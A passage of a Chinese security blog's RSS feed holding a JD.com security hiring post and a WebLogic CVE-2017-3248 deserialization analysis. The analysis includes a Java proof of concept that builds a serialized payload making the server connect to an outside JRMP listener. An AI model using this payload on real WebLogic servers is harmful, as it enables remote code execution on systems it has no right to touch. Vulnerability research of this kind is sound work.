<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>bluE0x00</title>
    <link>https://wechat2rss.xlab.app/feed/9767c848d0a4d5858d8bb565bc762dde94eeeee1.xml</link>
    <description>不懂就问 不会就学 不熟就练&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (bluE0x00)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5ibWJm9bGceqLhNmgRQ5K5rMAkzHPweg8IqicPrCiaAQ2Ew/0</url>
      <title>bluE0x00</title>
      <link>https://wechat2rss.xlab.app/feed/9767c848d0a4d5858d8bb565bc762dde94eeeee1.xml</link>
    </image>
    <item>
      <title>京东安全招聘</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247484331&amp;idx=1&amp;sn=9cfb8efbd976ca512390389cc3c236f3</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>深蓝</span> <span>2025-02-14 11:30</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=004501e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr4SpicZPib68djskwEsXvkK8QLt1A9icBUmyAhpnFhq2h8Pjl9cd8wWt2baElTB62k4ickw01U5t8tKfQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-weight: bold;">京东集团信息安全部，招聘安全开发/安全工程师。</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="line-height: 1.5em;"><span leaf="">职责：</span></p><p style="line-height: 1.5em;"><span leaf="">负责集团各安全域能力短板挖掘、BAS平台建设。</span></p></li><li><p style="line-height: 1.5em;"><span leaf="">要求：</span></p><p style="line-height: 1.5em;"><span leaf="">1.熟练掌握基础安全、数据安全、业务安全、账号安全中一项业务域漏洞挖掘、安全评测方法。</span></p><p style="line-height: 1.5em;"><span leaf="">2.熟练使用python、go、java中一项编程语言，能够将日常手工评测工作沉淀为自动化能力。</span></p><p style="line-height: 1.5em;"><span leaf="">3.三年以上工作经验，本科及以上学历（能力优秀者可放宽）。</span></p></li><li><p style="line-height: 1.5em;"><span leaf="">加分项：</span></p><p style="line-height: 1.5em;"><span leaf="">1.有各厂商src挖掘经验，排名靠前者优先。</span></p><p style=""><span leaf="">2.有甲方互联网大厂工作经验者优先。</span></p></li></ul><ol style="list-style-type: decimal;" class="list-paddingleft-1"></ol><p style="line-height: 1.5em;"><span leaf="">Base北京亦庄京东总部，全年最高20薪。另招聘应届毕业生（211、985高校），实习生（本科学历，实习时间6个月起），要求大致同上，欢迎各位师傅砸简历。</span></p><p style="line-height: 1.5em;"><span leaf="">联系方式：</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000680" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=52bafa16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4SpicZPib68djskwEsXvkK8QnaS5CNSIbJusZ5mgqxSOfS4G6k5x21HnwGW64C9pV2l7VJTXcXVpiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="line-height: 1.5em;"><span leaf=""><br/></span></p><p style="line-height: 1.5em;"><span leaf=""><br/></span></p><p><span leaf=""><br/></span></p><section><span leaf=""><br/></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484331">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=788a790a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247484331%26idx%3D1%26sn%3D9cfb8efbd976ca512390389cc3c236f3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Feb 2025 11:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Weblogic T3 (IIOP)协议漏洞分析（三）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247484325&amp;idx=1&amp;sn=ad53c618b35d6c3241c5e7062eca6f62</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>深蓝</span> <span>2023-04-23 22:18</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=43889c38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUZ3HnCXEzpcdic6Jj8VnSqmYFz3HiajHGMoHSVbsLFnvyZCUia9oMITezA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(0, 0, 0);font-size: 28px;font-weight: bold;caret-color: rgb(0, 0, 0);letter-spacing: normal;text-align: start;">前言</span><br/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RqcA-1676600571520&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P6Fm-1676600571521&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最近在看一些其他东西，加上工作内容有些变动，原本的Weblogic分析拖了很久才发出来。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1mAx-1682257358645&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Efb-1682257358634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;时间隔得有点久了，若是文章中有借鉴了其他师傅的内容忘了标注，请指出。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSQc-1682257420554&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Ulw-1682257420552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;之前做复现时挖了3个RCE，oracle只收了一个，并且不回复原因...不知道啥情况，待补丁发布之后再另出文章分析吧。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wScE-1676600149159&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rOhd-1676600149158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DiIG-1676600157253&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vN51-1676600157251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2017-3248&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5lBS-1676600660362&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v49S-1676600660361&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KXXA-1676600662991&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;5W9n-1676600663246&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;plBF-1676600662990&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;WebLogic 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uv3u-1676600663241&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;5W9n-1676600663246&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wPjB-1676600663239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;WebLogic 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;POUd-1676600663243&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;5W9n-1676600663246&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9jjZ-1676600663242&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;WebLogic 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U9qo-1676600663245&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;5W9n-1676600663246&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iyEv-1676600663244&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;WebLogic 12.2.1.1&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YGlf-1676600157438&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fDeO-1676600157437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BB3Z-1676600694932&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k54I-1676600694933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;该漏洞本质上是利用RMI的缺陷，通过建立恶意jrmp请求，反序列化来自jrmp server的数据造成反序列化攻击。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hM5t-1676614328260&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;agSH-1676614328259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考网上资料的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nuyv-1676603812668&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5917/WEBRESOURCEb7292acd2d6038b6b062b770490964ed&#34;,&#34;width&#34;:436,&#34;height&#34;:531},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5917/WEBRESOURCEb7292acd2d6038b6b062b770490964ed&#34;,&#34;initialSize&#34;:{&#34;width&#34;:436,&#34;height&#34;:1176},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5HUV-1676600695171&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kltf-1676600695170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DRDh-1676860075447&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q1Zd-1676860075383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lfbi-1676860075382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.server.UnicastRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gLAt-1676860075385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;daaJ-1676860075384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.LiveRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QkR4-1676860075387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hwA0-1676860075386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.tcp.TCPEndpoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pmrk-1676860075389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dBW-1676860075388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LGQU-1676860075391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vv42-1676860075390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z93C-1676860075393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tE3N-1676860075392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K5M5-1676860075395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r9Kw-1676860075394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xcAd-1676860075397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8bRd-1676860075396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Proxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u0mU-1676860075399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tX9g-1676860075398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.registry.Registry;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e7YL-1676860075401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SRhw-1676860075400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.ObjID;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5NG0-1676860075403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bQNh-1676860075402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.RemoteObjectInvocationHandler;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TaMj-1676860075405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bGAQ-1676860075404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Igue-1676860075407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2BRr-1676860075406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Random;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5zsD-1676860075409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6PFj-1676860075408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7p9Z-1676860075411&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wlUx-1676860075410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2017_3248 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mgTf-1676860075413&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jdDb-1676860075412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getObject() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DXEl-1676860075415&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lfWc-1676860075414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID(new Random().nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7UF0-1676860075417&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhsc-1676860075416&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint tcpEndpoint = new TCPEndpoint(\&#34;10.51.53.37\&#34;, 6666);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hUiN-1676860075419&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8wUp-1676860075418&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EuBs-1676860075421&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fZiV-1676860075420&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //经过测试，单独通过UnicastRef也可以触发反序列化，下面两个封装类可有可无&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OCae-1677053456582&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uw9v-1677053456580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UYej-1676860075423&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0VMg-1676860075422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bwW2-1676860075425&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hE0z-1676860075424&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return registry;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yXbC-1676860075427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gQVc-1676860075426&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YJz8-1676860075429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N4rj-1676860075428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zM7N-1676860075431&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVAV-1676860075430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c1od-1676860075433&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E7l5-1676860075432&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Y8Q-1676860075435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yvf5-1676860075434&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ll6-1676860075437&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R8uC-1676860075436&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(getObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8fc7-1676860075439&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f4gq-1676860075438&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9iER-1676860075442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nwd4-1676860075441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;946s-1676860075444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;52SZ-1676860075443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M6L-1676860075446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I6d6-1676860075445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ufhV-1676860052330&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Shy5-1676860052319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Weblogic的反序列化过程中，通过ObjectStreamClass.readObject() -&gt; RemoteObject.readObject()调用到UnicastRef的readExternal方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rjyz-1676623310597&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5946/WEBRESOURCEee6f4b9c6a0c44f943da7d98338246ed&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5946/WEBRESOURCEee6f4b9c6a0c44f943da7d98338246ed&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V1Q8-1676622924218&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5933/WEBRESOURCE7559c2292ddb1e9ed9316b6fb6b4a5d8&#34;,